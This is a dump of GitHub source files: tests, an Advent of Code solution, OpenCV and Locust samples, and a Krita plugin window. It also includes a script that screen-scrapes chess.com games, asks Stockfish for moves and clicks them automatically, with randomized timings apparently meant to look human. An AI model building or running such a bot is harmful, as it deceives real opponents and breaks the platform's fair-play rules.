create_raw_hf_dataset(data_args)\n self.preprocessed_dataset = preprocess_and_tokenize_dataset(\n self.dataset, model_args, data_args\n )\n\n def test_preprocessed_dataset_length(self):\n self.assertEqual(\n len(self.dataset),\n len(self.preprocessed_dataset),\n \"Tokenizer shouldn't change dataset length.\",\n )\n\n for feature in [\"input_ids\", \"attention_mask\"]:\n self.assertIn(feature, self.preprocessed_dataset.features)\n\n\nclass CreateUidLookupTable(unittest.TestCase):\n def setUp(self):\n self.dataset = create_raw_hf_dataset(data_args)\n self.uid_lookup = create_uid_lookup(self.dataset, data_args)\n\n def test_lookup_table_completeness(self):\n num_lookup_entries = sum(map(len, self.uid_lookup.values()))\n self.assertEqual(num_lookup_entries, len(self.dataset))\n\n def test_lookup_table_accuracy(self):\n for uid, dataset_indices in tqdm(self.uid_lookup.items(), leave=False):\n matched_entries = self.dataset[dataset_indices]\n matched_uids = matched_entries[\"uid\"]\n for matched_uid in matched_uids:\n self.assertEqual(matched_uid, uid)\n\n def test_lookup_table_json_compatibility(self):\n lookup_table_json: str = json.dumps(self.uid_lookup)\n self.assertIsNotNone(lookup_table_json)\n","repo_name":"jacobthebanana/political-pretraining","sub_path":"src/tests/test_preprocessing_csv.py","file_name":"test_preprocessing_csv.py","file_ext":"py","file_size_in_byte":3767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33235981667","text":"from part1 import get_input, add_missing_info, map_input\n\n\ndef day12part2(filename: str) -> int:\n _input = get_input(filename)\n _map = add_missing_info(map_input(_input))\n paths = find_all_paths(_map, 'start', 'end')\n return len(paths)\n\n\n# Code duplication is my middle name.\n# Also, it's genuinely slow for the real input, not so much for the tests.\ndef find_all_paths(graph, start, end, path=[]):\n path = path + [start]\n if start == end:\n return [path]\n paths = []\n for node in graph[start]:\n if node != 'start':\n if not node.islower() or node == 'end':\n paths += find_all_paths(graph, node, end, path)\n elif count_occurrences(path, node) < 2:\n lowercase = get_lowercase(path)\n if len(lowercase) > 0:\n counts = [count_occurrences(path, i) for i in lowercase]\n if max(counts) == 2 and node in path:\n continue\n paths += find_all_paths(graph, node, end, path)\n return paths\n\n\n# Get amount of times value is in list\ndef count_occurrences(_list, value):\n return len([i for i in _list if i == value])\n\n\ndef get_lowercase(_list):\n return list(set([i for i in _list if i.islower() and i != 'start']))\n\n\nif __name__ == '__main__':\n print(day12part2('input.txt'))\n","repo_name":"x-t/AdventOfCode2021","sub_path":"2021/day12/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12897340893","text":"# Play chess against callum\r\n# 1. Open Window\r\n# 2. Navigate to page\r\n# 3. Download screenshot of board\r\n\r\nfrom __future__ import print_function\r\n\r\nfrom playsound import playsound\r\nplaysound('shutter.mp3')\r\n\r\nimport sys\r\nimport time\r\nimport numpy\r\nimport os.path\r\nimport pywinauto\r\nimport win32api\r\nimport pyscreenshot as ImageGrab\r\nimport math\r\nimport random\r\n\r\nimport cv2\r\nfrom PIL import Image\r\nfrom PIL import ImageChops\r\nfrom matplotlib import pyplot as plt\r\n\r\nimport chess\r\nimport chess.engine\r\nengine = chess.engine.SimpleEngine.popen_uci(\"stockfish\")\r\n\r\n############## CONTROL\r\nFIRST_MOVE = True\r\nmoveTimings = [0.5, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 9]\r\nmoveCounter = 0\r\n\r\n############## PIXEL DATA #110% zoom and challenge\r\nboard_px_orig_x = 425\r\nboard_px_orig_y = 210\r\nsquare_length = 650\r\nsquare_increment = square_length/8\r\nhalf_square = int(square_increment/2)\r\n\r\n############## GET IMAGES\r\nimageDict = {}\r\n\r\nMyMovePath = 'MyMove.png'\r\n\r\n############### SETUP\r\nweb_address = \"https://www.chess.com/play/online\"\r\n#web_address = \"https://www.chess.com/play/computer\"\r\n\r\napp = pywinauto.Application().start(\r\n r\"c:\\Program Files (x86)\\Google\\Chrome\\Application\\Chrome.exe {}\".format(web_address))\r\ntime.sleep(3.5)\r\n\r\n\r\n\r\n####################### ACTUAL FUNCTIONS\r\ndef makeMove(raw):\r\n # take in the 4 letter format\r\n # raw chess coordinates\r\n orig_x = (ord(raw[0]) - 96)\r\n orig_y = 9 - int(raw[1])\r\n dest_x = (ord(raw[2]) - 96)\r\n dest_y = 9 - int(raw[3])\r\n\r\n print(orig_x, orig_y, \"->\", dest_x, dest_y)\r\n\r\n #to pixels in a 0,0 array\r\n orig_x_px = int((orig_x - 0.5) * square_increment) + board_px_orig_x\r\n orig_y_px = int((orig_y - 0.5) * square_increment) + board_px_orig_y\r\n dest_x_px = int((dest_x - 0.5) * square_increment) + board_px_orig_x\r\n dest_y_px = int((dest_y - 0.5) * square_increment) + board_px_orig_y\r\n\r\n #offset\r\n origin = [orig_x_px, orig_y_px]\r\n destination = [dest_x_px, dest_y_px]\r\n print(origin, destination)\r\n executeMove(origin, destination)\r\n\r\n\r\ndef executeMove(orig, dest):\r\n # move piece process\r\n delay = random.choice(moveTimings)\r\n print(\"time delay is \", delay)\r\n #time.sleep(delay)\r\n pywinauto.mouse.click(button='left', coords=orig)\r\n pywinauto.mouse.press(button='left', coords=dest)\r\n im1 = ImageGrab.grab(bbox=(board_px_orig_x, board_px_orig_y, board_px_orig_x + square_length, board_px_orig_y + square_length)) # X1,Y1,X2,Y2\r\n im1.save(MyMovePath)\r\n\r\n\r\ndef findMove():\r\n # set counter for resUP\r\n global moveCounter\r\n moveCounter += 1\r\n\r\n move_found = compareImages(MyMovePath)\r\n while not move_found:\r\n print (\"ERROR images are the same, trying again\")\r\n time.sleep(1.5)\r\n move_found = compareImages(MyMovePath)\r\n\r\n #find the opponents move origin\r\n cv2_px = cv2Move(\"OpMove.png\", \"pieceImages\\Highlight.png\", 0.97)\r\n chess_str_1 = PxtoGrid(cv2_px[0], cv2_px[1])\r\n\r\n #find the corresponding piece move\r\n chess_square_index = chess.parse_square(chess_str_1)\r\n if board.piece_at(chess_square_index) is None:\r\n playsound('Warning.mp3')\r\n Op_piece_moved = input(\"Base move missed, what square did it originate from:\")\r\n time.sleep(3)\r\n else:\r\n Op_piece_moved = board.piece_at(chess_square_index).symbol().lower()\r\n print (str(Op_piece_moved))\r\n print(Op_piece_moved, \"was moved by opponent with comparison file at \", imageDict[Op_piece_moved][0])\r\n\r\n targetPath = \"pieceImages\\\\\" + imageDict[Op_piece_moved][0]\r\n cv2_px = cv2Move(\"OpMove.png\", targetPath, imageDict[Op_piece_moved][1])\r\n chess_str_2 = PxtoGrid(cv2_px[0], cv2_px[1])\r\n full_str = chess_str_1 + chess_str_2\r\n print('Resolved string', full_str)\r\n return full_str\r\n\r\n\r\n\r\ndef PxtoGrid(x, y):\r\n # add half a grid and origin offset\r\n x += half_square\r\n y += half_square\r\n\r\n grid_x = int(math.ceil(x/square_increment))\r\n grid_y = 9 - int(math.ceil(y/square_increment))\r\n\r\n #print(\"MCGRIDDLE STRING\", grid_x, grid_y)\r\n letter = str(chr(grid_x + 96)) # will print \"A\"\r\n print(\"Letter\", letter, grid_y)\r\n chess_encoded_location = letter + str(grid_y)\r\n print(chess_encoded_location)\r\n return(chess_encoded_location)\r\n\r\n # divide by board thing and round down\r\n\r\n\r\n #print coords\r\ndef cv2Move(image_path, template_path, threshold):\r\n opPathName = \"chessmoves/OpponentMove_\"+ str(moveCounter) + \".png\"\r\n\r\n img_rgb = cv2.imread(image_path, cv2.IMREAD_COLOR)\r\n template = cv2.imread(template_path, cv2.IMREAD_COLOR)\r\n print(template.shape)\r\n\r\n #w, h, _ = template.shape[::]\r\n w, h, _ = template.shape\r\n\r\n res = cv2.matchTemplate(img_rgb,template, cv2.TM_CCORR_NORMED)\r\n #threshold = 0.97\r\n\r\n loc = numpy.where( res >= threshold)\r\n\r\n for pt in zip(*loc[::-1]):\r\n #print(pt[0], pt[1])\r\n cv2.rectangle(img_rgb, pt, (pt[0] + w, pt[1] + h), (0,0,255), 2)\r\n\r\n cv2.imwrite(opPathName, img_rgb)\r\n\r\n min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)\r\n \r\n if max_val < threshold:\r\n print(\"object not found\")\r\n sys.exit()\r\n else:\r\n return (max_loc) \r\n\r\ndef compareImages(MyMove):\r\n im2 = ImageGrab.grab(bbox=(board_px_orig_x, board_px_orig_y, board_px_orig_x + square_length, board_px_orig_y + square_length)) \r\n im2.save('OpMove.png')\r\n\r\n im1_1 = Image.open(MyMove)\r\n im2_2 = Image.open(\"OpMove.png\")\r\n diff = ImageChops.difference(im1_1, im2_2)\r\n if diff.getbbox():\r\n print(\"images are different\")\r\n time.sleep(1.5)\r\n im2 = ImageGrab.grab(bbox=(board_px_orig_x, board_px_orig_y, board_px_orig_x + square_length, board_px_orig_y + square_length)) \r\n im2.save('OpMove.png')\r\n return True\r\n else:\r\n print(\"images are the same\")\r\n return False\r\n\r\n########### MAIN\r\n#### Only opening if white\r\nplayColour = input('Are you white or black? (W/B): ').lower()\r\nif playColour == 'w':\r\n board = chess.Board()\r\n print(board)\r\n print(\"Loading black pieces for opponent, focus board\")\r\n FIRST_MOVE = True\r\n imageDict = {\r\n 'p': ['HighlightPBlackDark.png', 0.85],\r\n 'r': ['HighlightRBlackLight.png', 0.85],\r\n 'n': ['HighlightNBlackDark.png', 0.85],\r\n 'b': ['HighlightBBlackLight.png', 0.85],\r\n 'q': ['HighlightQBlackLight.png',0.85],\r\n 'k': ['HighlightKBlackDark.png', 0.85]\r\n}\r\n # change dict to black pieces\r\nelif playColour == 'b':\r\n board = chess.Board().transform(chess.flip_horizontal)\r\n print(board)\r\n board.apply_mirror()\r\n print(board)\r\n print(\"Loading white pieces for opponent, focus board\")\r\n FIRST_MOVE = False\r\n imageDict = {\r\n 'p': ['HighlightPWhiteLight.png', 0.85],\r\n 'r': ['HighlightRWhite.png', 0.85],\r\n 'n': ['HighlightNWhite.png', 0.85],\r\n 'b': ['HighlightBWhite.png', 0.85],\r\n 'q': ['HighlightQWhite.png',0.85],\r\n 'k': ['HighlightKWhite.png', 0.85]\r\n}\r\n # change dict to white pieces\r\nelse:\r\n print(\"unrecognized input, ending program\")\r\n sys.exit()\r\ntime.sleep(2)\r\n\r\n#boardfind()\r\n#cursor_reader()\r\n#cursor_photographer()\r\n\r\n#pywinauto.mouse.click(button='left', coords=(board_px_orig_x + 245 + half_square, board_px_orig_y + 84 + half_square))\r\n#print(\"space test\")\r\n#time.sleep(3)\r\n\r\n############ LOCATE BOARD\r\nfull_screen = ImageGrab.grab(bbox=None) \r\nprint (\"locating board...\")\r\nfull_screen.save('FullScreen.png')\r\nplaysound('shutter2.mp3')\r\nif playColour == 'w':\r\n FullBoardColourPath = 'FullBoard.png'\r\nelse:\r\n FullBoardColourPath = 'FullBoardBlack.png'\r\nboard_loc = cv2Move('FullScreen.png', FullBoardColourPath, 0.94)\r\nprint(\"board location: \", board_loc)\r\nboard_px_orig_x = board_loc[0]\r\nboard_px_orig_y = board_loc[1]\r\nsquare_length = 715\r\nsquare_increment = square_length/8\r\nhalf_square = int(square_increment/2)\r\n\r\n############ M MOVE INITIALLY\r\nif FIRST_MOVE:\r\n makeMove(\"e2e4\")\r\n move = chess.Move.from_uci(\"e2e4\")\r\n board.push(move)\r\nelse:\r\n MyMovePath = 'FullBoardBlack.png'\r\n ######################## GET MOVE\r\n op_Move = input(\"What move did they make first: \")\r\n MyMovePath = 'MyMove.png'\r\n print(\"Found move,\", op_Move)\r\n move = chess.Move.from_uci(op_Move)\r\n board.push(move)\r\n\r\n ####################### MAKE MOVE\r\n result = engine.play(board, chess.engine.Limit(time=1.0))\r\n print(\"1\")\r\n board.push(result.move)\r\n print(\"2\")\r\n makeMove(result.move.uci()) #immediately take a photo\r\n \r\n print(result.move.uci())\r\n print(board)\r\n time.sleep(2)\r\n ## Start before they move\r\n\r\nwhile not board.is_game_over():\r\n #Typed_Op_Move = input(\"Type their move: \")\r\n #time.sleep(2)\r\n\r\n ######################## GET MOVE\r\n op_Move = findMove()\r\n MyMovePath = 'MyMove.png'\r\n print(\"Found move,\", op_Move)\r\n move = chess.Move.from_uci(op_Move)\r\n if move in board.pseudo_legal_moves:\r\n print('found move is legal')\r\n board.push(move)\r\n else:\r\n playsound('Warning.mp3')\r\n op_Move = input(\"Found move is illegal (error with image recognition or rules) type actual move:\")\r\n time.sleep(3)\r\n move = chess.Move.from_uci(op_Move)\r\n board.push(move)\r\n\r\n ####################### MAKE MOVE\r\n result = engine.play(board, chess.engine.Limit(time=1.0))\r\n print(\"1\")\r\n board.push(result.move)\r\n print(\"2\")\r\n makeMove(result.move.uci()) #immediately take a photo\r\n \r\n print(result.move.uci())\r\n print(board)\r\n\r\nprint(\"GAME FINISHED!\")\r\nsys.exit()\r\n\r\n# get response\r\n# convert response to move\r\n# play it\r\n\r\n#app.top_window().set_focus()\r\n\r\n\r\n\r\n# coordinates on /play/\r\n#1418 346 Start\r\n#985 214 Top Right\r\n#256 212 Top Left\r\n#259 941 Bottom Left\r\n#986 942 Bottom Right\r\n\r\n# first move\r\n# 668 814\r\n# 668 620\r\n\r\n# versus computer\r\n# 1437 953 start button\r\n# 708 796 pawn 1 move\r\n# 796 623 pawn 2 move\r\n\r\n#426 211 Counterclockwise origin top LHS\r\n#1076 212\r\n#1076 861\r\n#428 858\r\n\r\n","repo_name":"senornosketchy/ChessBot","sub_path":"ChessTest2.py","file_name":"ChessTest2.py","file_ext":"py","file_size_in_byte":9914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2315273638","text":"#이미지 채널을 나누고 회색조 단계별 이미지출력.\n\nimport cv2\nimport os\n\npath = \"/home/ubuntu/Opencv/data/lena.jpg\"\n\nif os.path.isfile(path):\n src = cv2.imread(path)\nelse:\n print(\"찾는 파일이 없습니다.\")\nb, g, r = cv2.split(src)\n\nimgRGB = cv2.merge((b, g, r))\n\ncv2.imshow(\"b\",b)\ncv2.imshow(\"g\",g)\ncv2.imshow(\"r\",r)\n\ncv2.imshow(\"imgRGB\",imgRGB)\n\ncv2.waitKey()\ncv2.destroyAllWindows()\n","repo_name":"MysteriousSonOfGod/Opencv","sub_path":"Opencv_Ex_04.py","file_name":"Opencv_Ex_04.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19010876991","text":"import sys\nsys.path.append('../')\nfrom locust import TaskSet, task\nfrom shared.login import get_bearer_token\n\nbearer_token = get_bearer_token()\n\n\nclass PreApprovalTasks(TaskSet):\n\n @task\n def test(self):\n if bearer_token is None:\n return\n with self.client.get('/volumes/summary/closedRequests', name='Volume Approval API - closedRequests',\n headers={'Authorization': 'Bearer ' + bearer_token}, catch_response=True) as response:\n try:\n json_response = response.json()\n except ValueError:\n response.failure('Could not parse JSON response')\n return\n if response.status_code != 200:\n response.failure('Response Code not 200')\n response.success()\n\n '''@task\n def on_stop(self):\n database_connection.clear_test_data()'''\n\n","repo_name":"bhavanij2/PythonProjects","sub_path":"vc-va-performance-tests/temp/lambda_locust/preapproval/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71613421283","text":"import krita\nimport os\nimport re\nimport sys\nimport time\n\nfrom PyQt5.Qt import *\nfrom PyQt5.QtCore import (\n pyqtSignal\n )\nfrom PyQt5.QtWidgets import (\n QMainWindow\n )\n\nfrom .bcbookmark import BCBookmark\nfrom .bchistory import BCHistory\nfrom .bcwpathbar import BCWPathBar\nfrom .bcmainviewtab import (BCMainViewTab, BCMainViewTabFilesLayout, BCMainViewTabTabs)\n\nfrom bulicommander.pktk.modules.utils import loadXmlUi\nfrom bulicommander.pktk.modules.imgutils import buildIcon\nfrom bulicommander.pktk.widgets.wiodialog import WDialogMessage\nfrom bulicommander.pktk.widgets.wmenuitem import (\n WMenuSlider,\n WMenuTitle\n )\nfrom bulicommander.pktk.pktk import (\n EInvalidType,\n EInvalidValue\n )\n\n\n# -----------------------------------------------------------------------------\nclass BCMainWindow(QMainWindow):\n \"\"\"Buli Commander main window\"\"\"\n\n DARK_THEME = 'dark'\n LIGHT_THEME = 'light'\n\n dialogShown = pyqtSignal()\n dialogActivate = pyqtSignal()\n dialogDeactivate = pyqtSignal()\n\n messageBarButtonClicked = pyqtSignal(QVariant)\n\n # region: initialisation methods -------------------------------------------\n\n def __init__(self, uiController, parent=None):\n super(BCMainWindow, self).__init__(parent)\n\n uiFileName = os.path.join(os.path.dirname(__file__), 'resources', 'mainwindow.ui')\n loadXmlUi(uiFileName, self)\n\n self.__uiController = uiController\n self.__eventCallBack = {}\n self.__highlightedPanel = 0\n self.actionViewLayoutIconSize = None\n self.panels = {\n 0: self.mainViewTab0,\n 1: self.mainViewTab1\n }\n\n self.__toolbars = []\n\n self.__fontMono = QFont()\n self.__fontMono.setPointSize(9)\n self.__fontMono.setFamily('DejaVu Sans Mono, Consolas, Courier New')\n\n self.setStyleSheet(\"\"\"\n QToolBar { border-width: 0px; }\n QToolBar QToolButton:checked {\n background-color: palette(Highlight);\n }\n\n /* QMenu::icon ==> doesn't work?? */\n QMenu::item:checked:enabled {\n background-color: palette(Highlight);\n }\n \"\"\")\n\n for panelId in self.panels:\n self.panels[panelId].setAllowRefresh(False)\n\n # def event(self, event):\n # if event.type() == QEvent.ApplicationPaletteChange:\n # # ...works...\n # # or not :)\n # # event if triggerred nbut icons are not reloaded\n # self.__loadResources()\n # return super(BCMainWindow, self).event(event)\n\n def initMainView(self):\n \"\"\"Initialise main view content\"\"\"\n @pyqtSlot('QString')\n def panel_HighlightStatusChanged(signalPanel):\n for panelIndex in self.panels:\n if self.panels[panelIndex] == signalPanel:\n self.__uiController.commandViewHighlightPanel(panelIndex)\n\n @pyqtSlot('QString')\n def panel_pathChanged(newPath):\n self.__uiController.commandGoHistoryAdd(newPath)\n\n for panel in self.panels:\n self.splitterMainView.insertWidget(panel, self.panels[panel])\n self.panels[panel].setUiController(self.__uiController)\n\n self.mainViewTab0.highlightedStatusChanged.connect(panel_HighlightStatusChanged)\n self.mainViewTab1.highlightedStatusChanged.connect(panel_HighlightStatusChanged)\n self.mainViewTab0.filesPathChanged.connect(panel_pathChanged)\n self.mainViewTab1.filesPathChanged.connect(panel_pathChanged)\n self.actionFileCopyToOtherPanelNoConfirm = QShortcut(QKeySequence(\"Shift+F5\"), self)\n self.actionFileMoveToOtherPanelNoConfirm = QShortcut(QKeySequence(\"Shift+F6\"), self)\n self.actionFileDeleteNoConfirm = QShortcut(QKeySequence(\"Shift+F8\"), self)\n self.widgetMsgBar.buttonClicked.connect(lambda v: self.messageBarButtonClicked.emit(v))\n\n def initMenu(self):\n \"\"\"Initialise actions for menu default menu\"\"\"\n def updatePixelSize(value):\n if self.__uiController.panel().tabActive() == BCMainViewTabTabs.FILES:\n if self.__uiController.panel().filesTabViewMode() == BCMainViewTab.VIEWMODE_TV:\n self.__uiController.panel().setFilesIconSizeTv(value)\n iconPixelSize = self.__uiController.panel().filesIconSizeTv(True)\n else:\n self.__uiController.panel().setFilesIconSizeLv(value)\n iconPixelSize = self.__uiController.panel().filesIconSizeLv(True)\n elif self.__uiController.panel().tabActive() == BCMainViewTabTabs.CLIPBOARD:\n self.__uiController.panel().setClipboardIconSize(value)\n iconPixelSize = self.__uiController.panel().clipboardIconSize(True)\n else:\n return\n\n self.actionViewLayoutIconSize.setLabelText(i18n(f\"Thumbnail size: {iconPixelSize}px\"))\n\n # Menu FILE\n self.actionFolderNew.triggered.connect(self.__menuFileCreateDirectory)\n self.actionFileSaveAll.triggered.connect(self.__menuFileSaveAll)\n self.actionFileOpen.triggered.connect(self.__menuFileOpen)\n self.actionFileOpenAsNewDocument.triggered.connect(self.__menuFileOpenAsNewDocument)\n self.actionFileOpenAsImageReference.triggered.connect(self.__menuFileOpenAsImageReference)\n self.actionFileOpenAsLayer.triggered.connect(self.__menuFileOpenAsLayer)\n self.actionFileOpenAsFileLayer.triggered.connect(self.__menuFileOpenAsFileLayer)\n self.actionFileCopyToOtherPanel.triggered.connect(self.__menuFileCopyConfirm)\n self.actionFileMoveToOtherPanel.triggered.connect(self.__menuFileMoveConfirm)\n self.actionFileRename.triggered.connect(self.__menuFileRename)\n self.actionFileDelete.triggered.connect(self.__menuFileDeleteConfirm)\n self.actionFileQuit.triggered.connect(self.__uiController.commandQuit)\n\n # Menu CLIPBPOARD\n self.actionClipboardCheckContent.triggered.connect(self.__menuClipboardCheckContent)\n self.actionClipboardPushBack.triggered.connect(self.__menuClipboardPushBackClipboard)\n self.actionClipboardPasteAsNewLayer.triggered.connect(self.__menuClipboardPasteAsNewLayer)\n self.actionClipboardPasteAsNewDocument.triggered.connect(self.__menuClipboardPasteAsNewDocument)\n self.actionClipboardPasteAsRefImage.triggered.connect(self.__menuClipboardPasteAsRefImage)\n self.actionClipboardOpen.triggered.connect(self.__menuClipboardOpen)\n self.actionClipboardSave.triggered.connect(self.__menuClipboardSave)\n self.actionClipboardSetPersistent.triggered.connect(self.__menuClipboardSetPersistent)\n self.actionClipboardSetNotPersistent.triggered.connect(self.__menuClipboardSetNotPersistent)\n self.actionClipboardRemove.triggered.connect(self.__menuClipboardRemove)\n self.actionClipboardStartDownload.triggered.connect(self.__menuClipboardStartDownload)\n self.actionClipboardStopDownload.triggered.connect(self.__menuClipboardStopDownload)\n self.actionClipboardQuit.triggered.connect(self.__uiController.commandQuit)\n\n # Menu EDIT\n self.actionMenuEditSelectAll.triggered.connect(self.__menuEditSelectAll_clicked)\n self.actionMenuEditSelectNone.triggered.connect(self.__menuEditSelectNone_clicked)\n self.actionMenuEditSelectInvert.triggered.connect(self.__menuEditSelectInvert_clicked)\n self.actionMenuEditSelectMarked.triggered.connect(self.__menuEditSelectMarked_clicked)\n\n self.actionMenuEditMarkUnmark.triggered.connect(self.__menuEditMarkUnmark_clicked)\n self.actionMenuEditMarkAll.triggered.connect(self.__menuEditMarkAll_clicked)\n self.actionMenuEditMarkNone.triggered.connect(self.__menuEditMarkNone_clicked)\n self.actionMenuEditMarkInvert.triggered.connect(self.__menuEditMarkInvert_clicked)\n\n # Menu GO\n self.actionGoHome.triggered.connect(self.__menuGoHome_clicked)\n self.actionGoUp.triggered.connect(self.__menuGoUp_clicked)\n self.actionGoBack.triggered.connect(self.__menuGoBack_clicked)\n\n self.actionGoHistoryClearHistory.triggered.connect(self.__uiController.commandGoHistoryClearUI)\n\n self.actionGoBookmarksClearBookmarks.triggered.connect(self.__uiController.commandGoBookmarkClearUI)\n self.actionGoBookmarksAddBookmark.triggered.connect(lambda: self.__uiController.commandGoBookmarkAppendUI(self.__uiController.panel().filesPath()))\n self.actionGoBookmarksRemoveFromBookmark.triggered.connect(lambda:\n self.__uiController.commandGoBookmarkRemoveUI(\n self.__uiController.bookmark().nameFromValue(self.__uiController.panel().filesPath())\n ))\n self.actionGoBookmarksRenameBookmark.triggered.connect(lambda:\n self.__uiController.commandGoBookmarkRenameUI(\n self.__uiController.bookmark().nameFromValue(self.__uiController.panel().filesPath())\n ))\n\n self.actionGoSavedViewsAddToViewNewView.triggered.connect(lambda:\n self.__uiController.commandGoSavedViewCreateUI(\n [file.fullPathName() for file in self.__uiController.panel().filesSelected()[0]]\n ))\n self.actionGoSavedViewsClearViewContent.triggered.connect(lambda: self.__uiController.commandGoSavedViewClearUI(self.__uiController.savedViews().current(True)))\n self.actionGoSavedViewsRemoveFromView.triggered.connect(lambda:\n self.__uiController.commandGoSavedViewRemoveUI(\n self.__uiController.savedViews().current(True),\n [file.fullPathName() for file in self.__uiController.panel().filesSelected()[5]]\n ))\n self.actionGoSavedViewsRenameView.triggered.connect(lambda: self.__uiController.commandGoSavedViewRenameUI(self.__uiController.savedViews().current(True)))\n self.actionGoSavedViewsDeleteView.triggered.connect(lambda: self.__uiController.commandGoSavedViewDeleteUI(self.__uiController.savedViews().current(True)))\n\n self.actionGoLastDocumentsLastDocuments.triggered.connect(lambda: self.__uiController.commandGoTo(self.__uiController.panelId(), '@last'))\n self.actionGoLastDocumentsLastOpenedDocuments.triggered.connect(lambda: self.__uiController.commandGoTo(self.__uiController.panelId(), '@last opened'))\n self.actionGoLastDocumentsLastSavedDocuments.triggered.connect(lambda: self.__uiController.commandGoTo(self.__uiController.panelId(), '@last saved'))\n\n # Menu VIEW\n self.actionViewThumbnail.triggered.connect(self.__menuViewThumbnail_clicked)\n self.actionViewShowImageFileOnly.triggered.connect(self.__menuViewShowImageFileOnly_clicked)\n self.actionViewShowBackupFiles.triggered.connect(self.__menuViewShowBackupFiles_clicked)\n self.actionViewShowHiddenFiles.triggered.connect(self.__menuViewShowHiddenFiles_clicked)\n self.actionViewDisplaySecondaryPanel.triggered.connect(self.__uiController.commandViewDisplaySecondaryPanel)\n self.actionViewDisplayQuickFilter.triggered.connect(self.__menuViewDisplayQuickFilter_clicked)\n self.actionViewSwapPanels.triggered.connect(self.__uiController.commandViewSwapPanels)\n\n # implemented into BCUIController.updateMenuForPanel()\n # self.actionViewLayoutFullMode.triggered.connect()\n # self.actionViewLayoutTopBottom.triggered.connect()\n # self.actionViewLayoutLeftRight.triggered.connect()\n # self.actionViewLayoutBottomTop.triggered.connect()\n # self.actionViewLayoutRightLeft.triggered.connect()\n\n self.actionViewLayoutViewAsList.triggered.connect(lambda: self.__uiController.commandPanelFilesTabViewMode(self.__uiController.panelId(), BCMainViewTab.VIEWMODE_TV))\n self.actionViewLayoutViewAsGrid.triggered.connect(lambda: self.__uiController.commandPanelFilesTabViewMode(self.__uiController.panelId(), BCMainViewTab.VIEWMODE_LV))\n\n groupViewLayout = QActionGroup(self)\n groupViewLayout.addAction(self.actionViewLayoutFullMode)\n groupViewLayout.addAction(self.actionViewLayoutTopBottom)\n groupViewLayout.addAction(self.actionViewLayoutLeftRight)\n groupViewLayout.addAction(self.actionViewLayoutBottomTop)\n groupViewLayout.addAction(self.actionViewLayoutRightLeft)\n groupViewLayout.setExclusive(True)\n\n self.actionViewLayoutFullMode.setData(i18n(\"Layout:\"))\n self.actionViewLayoutTopBottom.setData(i18n(\"Layout:\"))\n self.actionViewLayoutLeftRight.setData(i18n(\"Layout:\"))\n self.actionViewLayoutBottomTop.setData(i18n(\"Layout:\"))\n self.actionViewLayoutRightLeft.setData(i18n(\"Layout:\"))\n\n groupViewMode = QActionGroup(self)\n groupViewMode.addAction(self.actionViewLayoutViewAsList)\n groupViewMode.addAction(self.actionViewLayoutViewAsGrid)\n groupViewMode.setExclusive(True)\n\n self.actionViewLayoutIconSize = WMenuSlider(i18n(\"Thumbnail size\"), self)\n self.actionViewLayoutIconSize.setText(i18n(\"Thumbnail size\"))\n self.actionViewLayoutIconSize.setIcon(buildIcon(\"pktk:tune_img_slider\"))\n self.actionViewLayoutIconSize.setObjectName(\"actionViewLayoutIconSize\")\n self.actionViewLayoutIconSize.slider().setMinimum(0)\n self.actionViewLayoutIconSize.slider().setMaximum(8)\n self.actionViewLayoutIconSize.slider().setPageStep(1)\n self.actionViewLayoutIconSize.slider().setSingleStep(1)\n self.actionViewLayoutIconSize.slider().valueChanged.connect(updatePixelSize)\n self.menuViewLayout.addAction(self.actionViewLayoutIconSize)\n\n # Menu TOOLS\n self.actionToolsCopyToClipboard.triggered.connect(self.__menuToolsCopyToClipboard_clicked)\n self.actionToolsSearch.triggered.connect(self.__menuToolsSearchFiles_clicked)\n self.actionToolsExportFiles.triggered.connect(self.__menuToolsExportFiles_clicked)\n self.actionToolsConvertFiles.triggered.connect(self.__menuToolsConvertFiles_clicked)\n\n # Menu SETTINGS\n self.actionSettingsPreferences.triggered.connect(self.__uiController.commandSettingsOpen)\n self.actionSettingsSaveSessionOnExit.triggered.connect(self.__uiController.commandSettingsSaveSessionOnExit)\n self.actionSettingsResetSessionToDefault.triggered.connect(self.__uiController.commandSettingsResetSessionToDefault)\n self.menuSettingsToolbars.aboutToShow.connect(self.__menuSettingsToolbarsShow)\n\n # Menu HELP\n self.actionHelpAboutBC.triggered.connect(self.__uiController.commandHelpAboutBc)\n self.actionHelpManagedFilesFormats.triggered.connect(self.__uiController.commandHelpManagedFilesFormat)\n\n self.actionFileCopyToOtherPanelNoConfirm.activated.connect(self.__menuFileCopyNoConfirm)\n self.actionFileMoveToOtherPanelNoConfirm.activated.connect(self.__menuFileMoveNoConfirm)\n self.actionFileDeleteNoConfirm.activated.connect(self.__menuFileDeleteNoConfirm)\n\n def initToolbar(self, toolbarsConfig, toolbarsSession=None):\n \"\"\"Initialise toolbars\n\n Given `toolbars` is a list of dictionary\n Each dictionary contains at least the following keys:\n id: toolbar id\n label : toolbar label\n actions: list of QAction id\n\n Can additionally contains:\n visible: toolbar is visible or hidden\n area: area in which toolbar is docked\n rect: position+size of toolbar\n \"\"\"\n def sortToolbar(toolbarSessionDef):\n\n if toolbarSessionDef['area'] in (Qt.LeftToolBarArea, Qt.RightToolBarArea):\n return f\"{toolbarSessionDef['area']:02}{toolbarSessionDef['rect'][0]:05}{toolbarSessionDef['rect'][1]:05}\"\n else:\n return f\"{toolbarSessionDef['area']:02}{toolbarSessionDef['rect'][1]:05}{toolbarSessionDef['rect'][0]:05}\"\n\n # Disable window updates while preparing content (avoid flickering effect)\n self.setUpdatesEnabled(False)\n\n for toolbar in self.toolbarList():\n self.removeToolBar(toolbar)\n self.__toolbars = []\n\n # sort toolbar by area/position\n sortedId = []\n if toolbarsSession is not None:\n toolbarsSession.sort(key=sortToolbar)\n\n tmp = {toolbarDefinition['id']: toolbarDefinition for toolbarDefinition in toolbarsConfig}\n 